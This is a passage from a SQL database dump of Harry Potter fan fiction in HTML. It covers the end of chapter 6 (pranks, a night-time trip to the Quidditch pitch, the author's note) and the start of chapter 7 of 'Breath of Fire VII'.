class="MsoNormal">&#8220;Sure, sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; Harry turned just in\ntime to have a small paper back book smack him square between the eyes. Upon\ngetting his senses back, a mad looking professor Lupin looked down at him. &#8220;Are\nyou paying attention at all?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes sir!&#8221; She replied\nquickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then does it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Err&#8230;&#8221; He so desperately\nwanted to ask &#8216;does it what, sir?&#8217;, but he held it to himself. &#8220;No sir, it\ndoesn&#8217;t.&#8221; He quickly took in a sharp intake of air when Ginny stomped his foot.\n&#8220;It <i style="mso-bidi-font-style:normal">does </i>sir, it <i style="mso-bidi-font-style:\nnormal">does</i>!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Professor Lupin nodded.\n&#8220;Good. I thought you weren&#8217;t paying attention. Well, I guess I owe you an\napology then.&#8221; Lupin turned and started pacing again. &#8220;Since Mr. Harry Potter\nagrees, how about the rest of you?&#8221; Several students nodded in agreement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked over at Ginny\nand tentively moved his toes to see if they were still there. &#8220;What did I agree\nto?&#8221; He asked in a quiet whisper.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Basically if it&#8217;s okay for\nthe teams to pick their own fighters instead of being randomly selected.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, Ginny, Hermione, and\nRon all laughed lightly as they made their to the common room. &#8220;So then,&#8221; Ron\nsaid, trying to catch his breath. &#8220;Me and Harry went into their room, and&#8230;and&#8230;&#8221;\nRon started laughing too hard and Harry took it upon himself to finish it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We went into their room\nwhile they were asleep and magicked everything to be upside down but them. Even\ndid a charm on the window to make it look inversed as well!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny continues it. &#8220;So when\nFred and George woke up and say everything, they freaked for a bit before\nrealizing it was revenge on the prank they played on Harry and Ron. That&#8217;s when\nI let Harry cast a charm on me that makes my personal gravity inversed.&nbsp; I walked into their room, upside down and on\nthe &#8216;ceiling&#8217; and told them it was time for breakfast.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You could hear the screams\nfor <i style="mso-bidi-font-style:normal">miles</i>!&#8221; Ron finished for Ginny,\nstill trying to keep his laughter down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shook her head and\nlaughed herself. &#8220;Remind me never to make you boys mad at me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry draped an arm lazily\nover her shoulders and smirked. &#8220;What could we <i style="mso-bidi-font-style:\nnormal">possibly </i>do to make <i style="mso-bidi-font-style:normal">you</i>\nmad at us?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, if you try and make me\nkiss Ginny again, we&#8217;ll be having a <i style="mso-bidi-font-style:normal">very</i>\nunfriendly little chat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned, getting a\nglare from both girls. &#8220;Oh come <i style="mso-bidi-font-style:normal">on</i>!&#8221;\nHarry snorted, indignant. &#8220;Like I would get <i style="mso-bidi-font-style:normal">anything</i>\nout of seeing my two best female friends snogging!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron made a face. &#8220;At <i style="mso-bidi-font-style:normal">least</i> snog a girl that isn&#8217;t my <i style="mso-bidi-font-style:normal">sister</i>, &#8216;Mione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shove it, Ron.&#8221; Ginny\ncrossed her arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his mouth to say\nsomething, but Hermione cut him off. &#8220;Harry, love, don&#8217;t get any ideas.&#8221; Harry\nclosed his mouth and nodded lightly, clearly being caught in the act.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his eyes slowly,\nalready sharp and keen. The moonlight gave little view to him, but he scanned\nhis room none the less. Slowly, very slowly, he pulled away from Hermione (who\nimmediately started hugging a pillow). Sliding out of bed, he pulled on a shirt\nand grinned. Celestial was asleep, so she wouldn&#8217;t be accusing him of anything\neither. His door opened slowly and Ron peeked in, giving a thumbs up. Harry\nnodded and grabbed the two pair of sunglasses next to his bed and walked softly\nto the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron nodded at him and made a\nfew motions with his hands, to which Harry replied in kind. Both nodded and\ncrept to the common room, standing in front of the fire place. Harry handed Ron\na pair of shades and slid the other on himself. Both boys muttered &#8216;<i style="mso-bidi-font-style:normal">Lumos</i>&#8217; at the same time. Instantly the\nroom was shaded a greenish colour. Night vision. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Display status.&#8221; They\nchorused again, making their left lens display a skin of the Marauder&#8217;s Map.\n&#8220;Simplify status.&#8221; They said, once again together, and the map shrank to a more\nclearly readable version. Harry turned his head and grinned when the map\npivoted with him. &#8220;Let&#8217;s go.&#8221; He spoke softly, seeing Ron nod as he did so.\nSoon, they were both out the door and running down the hallways silently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the plan for\ntonight?&#8221; Ron asked as they ran, cloaks billowing out behind them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smirked when the voice\nwent directly into his ear, via the ear piece. &#8220;Simple, my friend.&#8221; He replied,\nturning down a hallway and then proceeding through an imaginary wall. &#8220;We&#8217;re\ngoing to try and get to the quidditch pitch to see what they are doing. The\ntournament starts soon and I want an advantage on what to expect.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Our fearless leader.&#8221; Ron\nsmirked, as both boys hopped through a fake window and slid on the invisible\nslide that took them to the ground. &#8220;Point me, Quidditch pitch.&#8221; Ron said,\nmaking the compass on the visor he was wearing light up and spin once. HE heard\nHarry say the same thing. &#8220;Let&#8217;s go right, that way we&#8217;ll avoid Filch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded. &#8220;Good plan.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two boys started to run\nagain, ducking behind walls when they had to. When they were almost at the\npitch, Harry suddenly found hands grabbing him and pulling him around a corner.\nWhen he looked he saw Ron giving him a nasty stare and tapping his glasses. Harry\nturned down the transparency of that lens and realized that there was a dot not\nfar from them that said &#8220;S. Snape&#8221; above it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Snape?&#8221; Harry mouthed,\ngetting a shrug. Shaking his head, Harry pointed to himself and motioned to the\nright and then pointed to Ron and to the left. Ron nodded and both boys tapped\ntheir wands (Harry having leaving his holder on his dresser) onto their\nglasses. Suddenly Harry saw himself in the right lens. Without helping it, he\nwaved his hand, getting a large grin from Ron and was sure he had one two. It\nwas fun seeing yourself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two boys split up and ran\ntheir own ways. When they were close to Snape, Harry picked up a rock that was lying\non the ground and threw it. Snape&#8217;s head turned at the noise, allowing Ron to\nrun past. When in the clear, Ron made a noise that drew Snape&#8217;s attention long\nenough for Harry to run by. When they were past, they met up either each other\nagain and gave a silent high five. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Walking calmly now, the boys\nentered the quidditch pitch and gasped at the sight. There was a large stone\nslab In the middle of the field and several people walking around it. &#8220;Look at\nthat.&#8221; Harry said, amazed. Ron nodded in agreement and both tapped their sun\nglasses and the extra visions vanished, leaving them with an uninterrupted view\nof what was going on. Several wizards were walking around, talking and setting\nthings up. &#8220;Looks like they are putting it all together. The stones must\ntransform to set the stage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wicked cool.&#8221; Ron breathed,\nwatching one large stone square turn into several trees and vines. &#8220;Look, the\nfirst stage must be a forest!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, looking at\nanother. &#8220;And the second has something to do with rocks.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You boys aren&#8217;t s&#8217;posed ta\nknow that.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Both of the Gryffindors\nwhipped around, but only looked at the stomach of someone. Slowly looking up,\nthey saw the face of Hagrid. &#8220;Um, Hi Hagrid.&#8221; Harry began slowly, unsure what\nto do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How&#8217;s it going? We&#8217;re kind\nof lost and&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thought you&#8217;d spy on the\ntournament, did ye?&#8221; The boys looked down in shame as he continued. &#8220;And we\nwent to so much trouble te be keepin&#8217; people from findin&#8217; out too, we did.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; The boys said in\nunison. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid softened. Turning\naround, he then spoke gain. &#8220;If you leave before I turn around and don&#8217;t get\ncaught, I rekon I can forgit seein&#8217; ye.&#8221; Ron and Harry looked at each other and\nnodded, scampering off. &#8220;Ah, those two&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just take the glasses, you\nsaid.&#8221; Ron scoffed as the portrait of the fat lady closed behind them. &#8220;We\ndon&#8217;t need the cloak this time, you said.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh come on.&#8221; Harry turned\nand gave an exasperated sigh. &#8220;I didn&#8217;t think we needed it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, well, next time we\nneed to take it just in case.&#8221; Ron took off his shades and handed them to\nHarry. &#8220;Here you go. I&#8217;m gonna go to bed. We have classes tomorrow you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, good idea.&#8221; Harry took\nthe glasses and folded the sides down. &#8220;We can plan our next task later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A nod. &#8220;Sounds good. G&#8217;ngiht\nthen, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8217;Night Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry closed the door to his\nroom behind him slowly. The door let out a soft &#8216;click&#8217; behind him to show that\nit was indeed shut. Tip toeing across the floor, Harry took off his shirt and\npajama pants. He allowed them to fall on the floor while on his way to his bed.\nPulling the curtains to the side, he crawled in bed and looked to his pillows,\nonly to have Hermione looking back at him.&nbsp;\nThe two looked at each other for a little bit. She was sitting at the\nhead of the bed with one of her teddy bears in her lap, arms wrapped around it.\nHe was now sitting in front of her, giving her a worried look.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um, hey.&#8221; He greeted lamely.\n&#8220;What are you doing up?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Worrying my ass off about\nyou!&#8221; She practically yelled at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:\nnormal">Oh CRAP!</i>&#8217; Harry thought, worried. &#8216;<i style="mso-bidi-font-style:\nnormal">She cursed, NOT a good sign!</i>&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you have any idea how long\nI&#8217;ve been waiting for you?&#8221; She scolded him in a worried, scared, and angry\nvoice. &#8220;I just woke up and you weren&#8217;t here! I didn&#8217;t know <i style="mso-bidi-font-style:\nnormal">what</i> happened to you! I was about to go to Dumbledore in the middle\nof the night!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked down. &#8220;I guess I\nshould have told you that Ron and I were going out, huh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione softened. &#8220;Look,\nHarry, I was just worried. I know you like to sneak around and all, I don&#8217;t\nmind it after all these years, but usually I can&#8217;t tell when you do it or not.\nNow that we&#8230;I mean, that we&#8217;re sharing a bed nightly now, it worries me when I\nwake up and you&#8217;re gone&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The young Potter let his gaze\ntake on that of an apologetic look. &#8220;I&#8217;m sorry.&#8221; He said softly, moving over to\nhug her. &#8220;You&#8217;re right of course. Next time I swear I&#8217;ll tell you first.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&#8221; She told his chest,\nhugging him. &#8220;I&#8217;ll forgive you then. Now, come back to bed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes &#8216;mam.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione slid under the\ncovers again and turned to her side, letting Harry lay behind her and wrap an\narm over her side. She took his hand and held it with both of hers, moving back\nso they touched fully. Bringing his hand up to her lips, she kissed it and bid\nhim &#8216;Good night.&#8217; to which he gave her a kiss to the back of her head and\nwhispered &#8216;Sweet dreams, love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~**~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Man that felt good to\nget out. I was so worried I wouldn&#8217;t reach my quota this week as well, but I\ndid it! Friday I had to go to the doctor because of a stupid ear infection.\nAfter that I didn&#8217;t think I would be able to sit at my computer and type all of\nthis (I&#8217;m mad dizzy at times because of my equilibrium being thrown off) but at\nleast it got done. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This is turning out to be a <i style="mso-bidi-font-style:normal">lot</i> longer than I thought it would be.\nWow, chapter 6&#8230; By my original plans, this <i style="mso-bidi-font-style:normal">would</i>\nbe the last chapter but I&#8217;m not half way through it yet&#8230; It&#8217;s amazing how\nthings work, you know? I still don&#8217;t have many reviews yet compared to my short\nstories, but- hey- that&#8217;s life for you. A handful of people review this story\nevery chapter, and I would like to take this time and give a special thanks to\nyou guys. You know who you are ^.~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anime Sightings: </p>\n\n<p class="MsoNormal">Ranma &#189;: Quote from Manga</p>\n\n<p class="MsoNormal">Sorcerous Stabber Orphen</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That&#8217;s all really. I didn&#8217;t\nget to the parts I was going to use Slayer, Chobits, and Onegai\nTeacher for. Well, I guess that&#8217;s it. See you next week guys! Thanks for all\nthe support ^.^</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(118, 7, '\n\n\n\n<p class="MsoNormal">Harry grinned to himself as\nhe brushed his teeth on Monday. So far it was a pretty nice day. The clouds\noutside were dark, but it still didn&#8217;t dampen Harry&#8217;s mood any. In fact, he\nrather enjoyed darker days. He loved to watch the rain and was often caught by\nHermione sitting in the window sill while getting splashed with droplets.&nbsp; A snowfall would be nice before the\ntournament this Friday, however, and Harry was hoping for a shower of flakes. Rinsing\nout his mouth, Harry gave his reflection a grin and patted his face with a wash\ncloth. On his way to the bathroom door, he grabbed his from the towel rack on\nthe way in and put it on on his way out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">Breath of Fire VII</b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">By:</b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">Satashi</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry made his way to the\ngreat hall while finger combing his hair. When he was semi-sure they were in\nthe usual spikes, he left it alone and strode down the hallways, letting his\nrobe billow out behind him like a cape. Several girls waved at him on his way,\nto which he waved back or nodded with a smile. Upon reaching his destination,\nhe scanned the room for his friends and found them sitting together near the\nfront of the table, near the teachers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey guys.&#8221; He greeted,\nlightly smacking Ron on the back of the head while he sat down. Ron nodded at\nhim while taking a drink of pumpkin juice. &#8220;What&#8217;s going on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing too much.&#8221; Dean\nanswered him while eating.&nbsp; A few moments\nlater the sound of several wings beating met their ears. The group looked up expectantly\nand snagged their mail as it was delivered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave Hedwig a bit of bacon\nas a thank you and then proceeded to read the Hogwarts Press while Hedwig flew\nback off to the owlery. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">The Christmas Ball celebrating the Sorcerer&#8217;s Circle\nwent off without a hitch,</i> writes Colin,\n<i style="mso-bidi-font-style:normal">The music was good and the food was superb\nas usual. Much thanks to the people who put in lots of time and hard work to\nmake the ball a success for us students. The votes are in and the cutest couple\nhas been voted on. The winners:&nbsp; &nbsp;Dumbledore and McGonagall. </i>&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry almost spit out his\ndrink in laughter at the picture of the head master and the head of his house\ndancing to a particularly fast song. This one was <i style="mso-bidi-font-style:\nnormal">definitely</i> going to go into his scrap book. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Runners up include Harry Potter and Hermione Granger;\nRonald Weasley and Lavender Brown. Amazingly, the trio&#8217;s tendency to be in the\nspot light turned them all into great dancers as well. The best one being Harry\nPotter as he led the gang in a free for all during the Cha cha slide.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The picture now showed Harry\nat the head of the triangle, busting a move with his friends behind him. Grinning,\nHarry skipped the rest about the ball and turned to the interviews section.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">This week we interviewed Ron Weasley, member of the\nupcoming Sorcerer&#8217;s Circle tournament.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, you didn&#8217;t tell me you were\nbeing interviewed!&#8221; Harry scolded, looking over the paper at his friend, who\nwas in the process of eating a biscuit. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hm?&#8221; He swallowed and waved\nhim off. &#8220;It&#8217;s kind of embarrassing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess I can understand\nthat.&#8221; Harry considered, shrugging. &#8220;Oh well, congrats anyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Colin: So, Ron, How does it feel to be part of the\nSorcerer&#8217;s Circle?</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Ron: Pretty good, I mean, we&#8217;re supposed to be elite,\nright? I bet my parent&#8217;s are proud. *grins *</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Colin: That&#8217;s true. Do you think your team will go\nfar?</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Ron: Go far? Ha! We&#8217;ll win this thing!</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Colin: Brave words. You that confident about winning?\nDo you think your teammates will do as well as you hope?</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i 